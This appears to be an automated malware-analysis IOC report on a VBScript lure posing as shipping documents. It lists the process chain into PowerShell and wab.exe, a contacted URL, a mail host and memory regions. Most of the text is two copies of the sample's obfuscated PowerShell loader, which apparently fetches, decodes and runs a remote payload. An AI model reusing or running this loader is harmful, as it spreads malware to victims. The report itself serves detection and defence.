IOC Report
Shipping Dcuments_CI PKL_HL_.vbs

Shipping Dcuments_CI PKL_HL_.vbs

ASCII text, with CRLF line terminators

initial sample

C:\Windows\System32\wscript.exe

C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Shipping Dcuments_CI PKL_HL_.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Semiannually163 = 1;$Varityped='Substrin';$Varityped+='g';Function Spatiumet($Merotomy){$Ganglioma=$Merotomy.Length-$Semiannually163;For($Undereying136=5; $Undereying136 -lt $Ganglioma; $Undereying136+=(6)){$Stacc+=$Merotomy.$Varityped.Invoke($Undereying136, $Semiannually163);}$Stacc;}function Salsdren($Fortynd){. ($Fusionsaftaler) ($Fortynd);}$Morallovene=Spatiumet 'FindeM SlaboBed,mzGuiltiSu.nolUnforlVarmeaSkru /Afslr5 p yn.U aft0 Kost Al,og(DdsaaW,pitaiboo lnBrssedNusseoSem cwFremssDi eg ChattNPrethT,oren Supra1Abe.s0Guldv.Colou0Haema;Adria Br,dsWr creiFormanRefrn6Uncou4velar; Legi noncix non 6 Nikl4Synli; skri PseurGasm,vP,gts:Bj.rg1 Mo,i2Organ1Armad.Flask0Abs,i)Galo. r tscGSkyldeAktioc DionkNoncooSyske/,atin2Luged0Janse1Bul.p0fj.rn0E cin1Pante0Coope1Surro ,aineFFly eiUvi lr,readeRve,efDiphyoAphroxHarri/Bygn.1Eluls2Ebelt1Tra i.Perca0 Dupe ';$Anathematise=Spatiumet 'Lill,UFalhos SpleeP lorrFiske-OhsknAN.ighg Pawne MasknLechrtOnion ';$Aivr=Spatiumet 'FigurhpreintGer.rtVognppT.llas.onse:Lay u/Bi,le/ B.lldFinerrF.agti Bj,gvindpae.atte. .ilpgCanchoEuropo Educgwr telAfslaered.m.Bak ucK upvoPengem Vlve/AfstvupervecFrit ? k,noeLivewxminerp BelooTiltrrwind tU lia=BallodSankeoOp ftwKrvernDekodlKapreo OxydaHum.ld appl& ScariGeomedAmnio= Hudd1 DommOL.omeS ErroQGal,iaUdbetZKartolChanikRatapr Tink_ Clar7 Kna.hF.uevzspadspRovdy0DeminlAtomaSPh.liF PagiBProgr9 AergdTappejUdb t3FanmagFagblxDagplcN,ninEOutf.oUna.etCentr-Sikke9Figensbrain5Tyven ';$Succesombrust=Spatiumet 'Trykl>Polyh ';$Fusionsaftaler=Spatiumet 'af eniTankeeWattsxAl um ';$Pantebrevshandelen = Spatiumet ' ntee JerncWkdrehA johoL,xia D.ske%SvindaRa,tapDevonpButi,dCi,araOveretPennaaDef,n%Pragt\Flec.EFu,dvlsubapeProvicSortetIndicr TheooEb.lln TroueSup lg Panda .ogltReinsiDriftv Hypee Beci. At eS U.dihUng oaPer,i Patte&union& s.bl Hamm eOsterc KonghUn.pao Urba Lsnin$Pum.c ';Salsdren (Spatiumet 'Suppl$Enh.lgbolivlsemino uni,bBoligaSvulmlindsp: Plo,fTransl Tje,uRinglkGroovtRa eru JungeCatenr HovniGreennUndefgoutre=Himme(Tiltac EpokmXsford Ra.i Prova/datasc Deut Dext.$ mesiPJagteaBoligngelogt SkileBehanbEupherEnra.eL gtevCrustsisba.h DewaaHalopnChrisdSkakte RaillUdadreDec,lnPaatv)Antil ');Salsdren (Spatiumet ' Mist$ Ma,sgTilprl banko dashb.annyaKardslQuant:GeledACemennMaalet Bet.h,iltvr .ndkoAbamppA taco Pa lpPass hPa ahaTr,llgUbereiAgerbsGrns tforsii .airc E,ip=garvn$FratrASeraliArapavFenacrOttea.JournsmorbrpIntarlMandaiCou ttSuper(Skri $St noSAmp,iu NytacContrcRygraePunktsRecomo NavnmKhedabExsicrDametuRustbsUnddrtBesgs)T les ');$Aivr=$Anthropophagistic[0];Salsdren (Spatiumet 'Ov rm$CiphegOpskrlPromeoF rskbScollaAntiplF.ske:b skuFDrvleoafbrer Ulkss .rageFl esnAusredLigniedishblInsissTel.fe UndesDagceoSnapsmTilvekYdelsoShattsb odstAutoenMicreiGalannmindeg SladedopinrFyrin= itriNFa,ceeCellewPhono- SknlOHoussbplotnj Deple HydrcUn.stt Refr KonkuSBucrny.ecoms AffttNo gleSens mSa kt.BelieNOffsheRdseltBe or. Sco.WPoiaae IchtbGi maCKarikl.oostiOpildemedt,nBa.stt Flyd ');Salsdren (Spatiumet ',leek$BerigFPol to,efairPu pessymboeRussinmidd dCeltieDiamalUbesksForgie ites Beseo SkanmForlakBem.loDobbesGadertTouchnsterniShirtnUnoffgSeksae rbejrPalme.Ers aHBelyseManeuaOmniadSupereHewabrTelefsMot,t[ maxi$Kv ntA padrnTen.raBranctToresh,rgameLandlmSekreamyrmit AftriSa,dss T.awe pr.s]N.rin=P,lit$Es.reMNeglpoU derrLivegaja oulEuryglSuitioTiltrvanorge S.rvnDrvtye sh,p ');$Samosa=Spatiumet 'ConfiFSatsao emarrUnpolsPreseesacchn.ichwd Unsue Rgfol vicisMudroeUdenrsunderoFe,mimWe,dik SkruoRejecsBisamtLeeronfeignirustknDonkrgPettie P.anr ,ort.KlammD Ta,ooSal swGrms.nVirkelTurboo Synda A.lgdRikocFAstroi Calal,aneveBroch(Aquo.$.achiAMisgriK.yedvRejserUnpul,Lippi$ F blJ Te eaRetsbkUnsenkP,aine eknonGehe,)Drmme ';$Samosa=$fluktuering[1]+$Samosa;$Jakken=$fluktuering[0];Salsdren (Spatiumet 'Disso$ au.ogAkkrel Estlo .ippbNytteaStupelPmkha:UndefPBotuleRiposrFljtecSove,aSpeci= Tele(M.sicTModule,etersGenh.t Nedb-St,afP Pul,aVitaltBi.lehNitsk Line$BecooJ Orfealasttk.orlfkCost,eslughnSrege)Spalt ');while (!$Perca) {Salsdren (Spatiumet ' Udko$Al.ingStjfolSmickoValutbUnmonaRealelProf.:Rel.tIDrejedSnowseLagenn Se,ttDohiciAbsu.t,avebeGniddtSupers ommemPaatar.aagekIncaveH ldnsAgoni=mult.$LatertBagt.r M.saum.ljreObeys ') ;Salsdren $Samosa;Salsdren (Spatiumet ' CareSS.aldtTinneaAristrI dvatKomme-Oste.SAlbu.lTrumfeGuldse AfkapGoitc Boks4 oms ');Salsdren (Spatiumet 'Inds $GnavegPreexl MonsoKinetbjasesaRevislVario:drommP UndeeTher rBrewic Sm aarepos= O,er(ReinfTMetase MisfsMinvetRote,- IrriPIntelaArve.tSublah Supe Pyrhe$EnemrJ Badma AmtskVliesk Solne ,auhn Ci,c) Car ') ;Salsdren (Spatiumet ' Hrsi$KendegYn lilDyretoli,jebKantoa Han,lSkand:HighlLUnderuPathomResneb.utotuPaakrsH,eft=P.ior$Latiag RegnlUndero Ske,b Ma.daTrykkl ani:Ri gkBHemipeRepr,gSu.errWrencaCan.ivse ebe P,rglChecksStarteSkyhjsStrenkForesaReflep MurreDri ll ProplOrycteBrnefrLejeishande+O.tiu+,luxa%Zilli$TaxafAF rstn BalktAdganhsarder IronoDefacpFlugtoshillpVizorh Kabea LonggLuftii P,risAg.sttReshiiAutorcKrakk.Bra.lcTra ioRkemou nternInvestCodeb ') ;$Aivr=$Anthropophagistic[$Lumbus];}Salsdren (Spatiumet ' ,lan$FortsgInforlSelvio SkinbRanseaRohrnlAnekd: eminNcatasuPirozmNabobmscutceRerair Frnup MaullPaaskaTakstdEnunceA rornDoktosEleme Tast=eskad cadeG Copre AarmtS ffl-DitetCTestdos,linnstafft.aunueKalkbnVarmet Cond Pron,$SymboJP,nctaB,plak undekSquigeYarurnUbaad ');Salsdren (Spatiumet 'Tryne$A vecgLay rlNikoloI filb fkapaKontol Gkke:FerieSUnmigpMetreaAparttDelegtPalaelFlinkeVestidMaci. Mumme=Handy Pythi[ DileSReattyRevissred vtKollieU eldmMi op.PolteCSiennoCh,omnVauntv AngreMindsrMesost.llit]Apter:Somme: oragFAvicur k.sto NdspmOver B.viseaAnda.sH,droekonve6R,gne4 SnotS CasttInflurNonsei ConvnBussegScoli( sple$Omn,pN.uelouJournm FootmVita,eUdklarRespopRegislUdsaeaSuppldAm.anet,enenBekissVesic)Strej ');Salsdren (Spatiumet 'Annso$Be.aigMad.il Suggo,rimeb Fugta Kon,lU.pan:MarinSMiljtp rilsaBendlcMasseiBlankoGyropuphospsDberelMimicy Alp. Sdemn= stje Retti[ PneuSDebriyKnyt.s .aantE.seme kampmOtari.PredeT Stv,eLejekxCentrt Pupi.GramiE Un nnFibricFagfoo.ehondOpspuiFastenLithogIndi,]Basi,:herov: M.thAJobbeSEyewaC AfifIIndisIHand,.AlgotGSkraleAraertTerriSPapritToskirI dbriLazarnvrkstgattro(Bedst$Ho,edS,enzppS,angaElgabtRunddt AktilB.gheeGlaned nder)Telec ');Salsdren (Spatiumet 'Nuanc$SicilgBladelTil,roi stabMuta,aCandllPorr,:MenneESpejlpTilreiCassosSkrespIndfra Ly.psAnal tScrabiD,miccM,lie=Tarif$ RdhaSPandepHalslaC.stoc TragiAfmaroSeconu Av ssRe oglUnderyPedes.Un,onsTilleuMati b.ejltsFri et GosprP,ryni Qu cnRes,rgadopt(Polys2 ilis9Brudf2Ka,in8Rteb.4Mobil6dtr n,,rusi2Mulig8Under3Smel,5Tel,g8Faneb) nmed ');Salsdren $Epispastic;"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Semiannually163 = 1;$Varityped='Substrin';$Varityped+='g';Function Spatiumet($Merotomy){$Ganglioma=$Merotomy.Length-$Semiannually163;For($Undereying136=5; $Undereying136 -lt $Ganglioma; $Undereying136+=(6)){$Stacc+=$Merotomy.$Varityped.Invoke($Undereying136, $Semiannually163);}$Stacc;}function Salsdren($Fortynd){. ($Fusionsaftaler) ($Fortynd);}$Morallovene=Spatiumet 'FindeM SlaboBed,mzGuiltiSu.nolUnforlVarmeaSkru /Afslr5 p yn.U aft0 Kost Al,og(DdsaaW,pitaiboo lnBrssedNusseoSem cwFremssDi eg ChattNPrethT,oren Supra1Abe.s0Guldv.Colou0Haema;Adria Br,dsWr creiFormanRefrn6Uncou4velar; Legi noncix non 6 Nikl4Synli; skri PseurGasm,vP,gts:Bj.rg1 Mo,i2Organ1Armad.Flask0Abs,i)Galo. r tscGSkyldeAktioc DionkNoncooSyske/,atin2Luged0Janse1Bul.p0fj.rn0E cin1Pante0Coope1Surro ,aineFFly eiUvi lr,readeRve,efDiphyoAphroxHarri/Bygn.1Eluls2Ebelt1Tra i.Perca0 Dupe ';$Anathematise=Spatiumet 'Lill,UFalhos SpleeP lorrFiske-OhsknAN.ighg Pawne MasknLechrtOnion ';$Aivr=Spatiumet 'FigurhpreintGer.rtVognppT.llas.onse:Lay u/Bi,le/ B.lldFinerrF.agti Bj,gvindpae.atte. .ilpgCanchoEuropo Educgwr telAfslaered.m.Bak ucK upvoPengem Vlve/AfstvupervecFrit ? k,noeLivewxminerp BelooTiltrrwind tU lia=BallodSankeoOp ftwKrvernDekodlKapreo OxydaHum.ld appl& ScariGeomedAmnio= Hudd1 DommOL.omeS ErroQGal,iaUdbetZKartolChanikRatapr Tink_ Clar7 Kna.hF.uevzspadspRovdy0DeminlAtomaSPh.liF PagiBProgr9 AergdTappejUdb t3FanmagFagblxDagplcN,ninEOutf.oUna.etCentr-Sikke9Figensbrain5Tyven ';$Succesombrust=Spatiumet 'Trykl>Polyh ';$Fusionsaftaler=Spatiumet 'af eniTankeeWattsxAl um ';$Pantebrevshandelen = Spatiumet ' ntee JerncWkdrehA johoL,xia D.ske%SvindaRa,tapDevonpButi,dCi,araOveretPennaaDef,n%Pragt\Flec.EFu,dvlsubapeProvicSortetIndicr TheooEb.lln TroueSup lg Panda .ogltReinsiDriftv Hypee Beci. At eS U.dihUng oaPer,i Patte&union& s.bl Hamm eOsterc KonghUn.pao Urba Lsnin$Pum.c ';Salsdren (Spatiumet 'Suppl$Enh.lgbolivlsemino uni,bBoligaSvulmlindsp: Plo,fTransl Tje,uRinglkGroovtRa eru JungeCatenr HovniGreennUndefgoutre=Himme(Tiltac EpokmXsford Ra.i Prova/datasc Deut Dext.$ mesiPJagteaBoligngelogt SkileBehanbEupherEnra.eL gtevCrustsisba.h DewaaHalopnChrisdSkakte RaillUdadreDec,lnPaatv)Antil ');Salsdren (Spatiumet ' Mist$ Ma,sgTilprl banko dashb.annyaKardslQuant:GeledACemennMaalet Bet.h,iltvr .ndkoAbamppA taco Pa lpPass hPa ahaTr,llgUbereiAgerbsGrns tforsii .airc E,ip=garvn$FratrASeraliArapavFenacrOttea.JournsmorbrpIntarlMandaiCou ttSuper(Skri $St noSAmp,iu NytacContrcRygraePunktsRecomo NavnmKhedabExsicrDametuRustbsUnddrtBesgs)T les ');$Aivr=$Anthropophagistic[0];Salsdren (Spatiumet 'Ov rm$CiphegOpskrlPromeoF rskbScollaAntiplF.ske:b skuFDrvleoafbrer Ulkss .rageFl esnAusredLigniedishblInsissTel.fe UndesDagceoSnapsmTilvekYdelsoShattsb odstAutoenMicreiGalannmindeg SladedopinrFyrin= itriNFa,ceeCellewPhono- SknlOHoussbplotnj Deple HydrcUn.stt Refr KonkuSBucrny.ecoms AffttNo gleSens mSa kt.BelieNOffsheRdseltBe or. Sco.WPoiaae IchtbGi maCKarikl.oostiOpildemedt,nBa.stt Flyd ');Salsdren (Spatiumet ',leek$BerigFPol to,efairPu pessymboeRussinmidd dCeltieDiamalUbesksForgie ites Beseo SkanmForlakBem.loDobbesGadertTouchnsterniShirtnUnoffgSeksae rbejrPalme.Ers aHBelyseManeuaOmniadSupereHewabrTelefsMot,t[ maxi$Kv ntA padrnTen.raBranctToresh,rgameLandlmSekreamyrmit AftriSa,dss T.awe pr.s]N.rin=P,lit$Es.reMNeglpoU derrLivegaja oulEuryglSuitioTiltrvanorge S.rvnDrvtye sh,p ');$Samosa=Spatiumet 'ConfiFSatsao emarrUnpolsPreseesacchn.ichwd Unsue Rgfol vicisMudroeUdenrsunderoFe,mimWe,dik SkruoRejecsBisamtLeeronfeignirustknDonkrgPettie P.anr ,ort.KlammD Ta,ooSal swGrms.nVirkelTurboo Synda A.lgdRikocFAstroi Calal,aneveBroch(Aquo.$.achiAMisgriK.yedvRejserUnpul,Lippi$ F blJ Te eaRetsbkUnsenkP,aine eknonGehe,)Drmme ';$Samosa=$fluktuering[1]+$Samosa;$Jakken=$fluktuering[0];Salsdren (Spatiumet 'Disso$ au.ogAkkrel Estlo .ippbNytteaStupelPmkha:UndefPBotuleRiposrFljtecSove,aSpeci= Tele(M.sicTModule,etersGenh.t Nedb-St,afP Pul,aVitaltBi.lehNitsk Line$BecooJ Orfealasttk.orlfkCost,eslughnSrege)Spalt ');while (!$Perca) {Salsdren (Spatiumet ' Udko$Al.ingStjfolSmickoValutbUnmonaRealelProf.:Rel.tIDrejedSnowseLagenn Se,ttDohiciAbsu.t,avebeGniddtSupers ommemPaatar.aagekIncaveH ldnsAgoni=mult.$LatertBagt.r M.saum.ljreObeys ') ;Salsdren $Samosa;Salsdren (Spatiumet ' CareSS.aldtTinneaAristrI dvatKomme-Oste.SAlbu.lTrumfeGuldse AfkapGoitc Boks4 oms ');Salsdren (Spatiumet 'Inds $GnavegPreexl MonsoKinetbjasesaRevislVario:drommP UndeeTher rBrewic Sm aarepos= O,er(ReinfTMetase MisfsMinvetRote,- IrriPIntelaArve.tSublah Supe Pyrhe$EnemrJ Badma AmtskVliesk Solne ,auhn Ci,c) Car ') ;Salsdren (Spatiumet ' Hrsi$KendegYn lilDyretoli,jebKantoa Han,lSkand:HighlLUnderuPathomResneb.utotuPaakrsH,eft=P.ior$Latiag RegnlUndero Ske,b Ma.daTrykkl ani:Ri gkBHemipeRepr,gSu.errWrencaCan.ivse ebe P,rglChecksStarteSkyhjsStrenkForesaReflep MurreDri ll ProplOrycteBrnefrLejeishande+O.tiu+,luxa%Zilli$TaxafAF rstn BalktAdganhsarder IronoDefacpFlugtoshillpVizorh Kabea LonggLuftii P,risAg.sttReshiiAutorcKrakk.Bra.lcTra ioRkemou nternInvestCodeb ') ;$Aivr=$Anthropophagistic[$Lumbus];}Salsdren (Spatiumet ' ,lan$FortsgInforlSelvio SkinbRanseaRohrnlAnekd: eminNcatasuPirozmNabobmscutceRerair Frnup MaullPaaskaTakstdEnunceA rornDoktosEleme Tast=eskad cadeG Copre AarmtS ffl-DitetCTestdos,linnstafft.aunueKalkbnVarmet Cond Pron,$SymboJP,nctaB,plak undekSquigeYarurnUbaad ');Salsdren (Spatiumet 'Tryne$A vecgLay rlNikoloI filb fkapaKontol Gkke:FerieSUnmigpMetreaAparttDelegtPalaelFlinkeVestidMaci. Mumme=Handy Pythi[ DileSReattyRevissred vtKollieU eldmMi op.PolteCSiennoCh,omnVauntv AngreMindsrMesost.llit]Apter:Somme: oragFAvicur k.sto NdspmOver B.viseaAnda.sH,droekonve6R,gne4 SnotS CasttInflurNonsei ConvnBussegScoli( sple$Omn,pN.uelouJournm FootmVita,eUdklarRespopRegislUdsaeaSuppldAm.anet,enenBekissVesic)Strej ');Salsdren (Spatiumet 'Annso$Be.aigMad.il Suggo,rimeb Fugta Kon,lU.pan:MarinSMiljtp rilsaBendlcMasseiBlankoGyropuphospsDberelMimicy Alp. Sdemn= stje Retti[ PneuSDebriyKnyt.s .aantE.seme kampmOtari.PredeT Stv,eLejekxCentrt Pupi.GramiE Un nnFibricFagfoo.ehondOpspuiFastenLithogIndi,]Basi,:herov: M.thAJobbeSEyewaC AfifIIndisIHand,.AlgotGSkraleAraertTerriSPapritToskirI dbriLazarnvrkstgattro(Bedst$Ho,edS,enzppS,angaElgabtRunddt AktilB.gheeGlaned nder)Telec ');Salsdren (Spatiumet 'Nuanc$SicilgBladelTil,roi stabMuta,aCandllPorr,:MenneESpejlpTilreiCassosSkrespIndfra Ly.psAnal tScrabiD,miccM,lie=Tarif$ RdhaSPandepHalslaC.stoc TragiAfmaroSeconu Av ssRe oglUnderyPedes.Un,onsTilleuMati b.ejltsFri et GosprP,ryni Qu cnRes,rgadopt(Polys2 ilis9Brudf2Ka,in8Rteb.4Mobil6dtr n,,rusi2Mulig8Under3Smel,5Tel,g8Faneb) nmed ');Salsdren $Epispastic;"

C:\Program Files (x86)\Windows Mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

http://pesterbdd.com/images/Pester.png

unknown

mail.myhydropowered.com

unknown

5C45000

trusted library allocation

page read and write

8580000

direct allocation

page execute and read and write

250CBDD2000

trusted library allocation

page read and write

22FEB000

trusted library allocation

page read and write

A2B0000

direct allocation

page execute and read and write

5800000

remote allocation

page execute and read and write

22FC5000

trusted library allocation

page read and write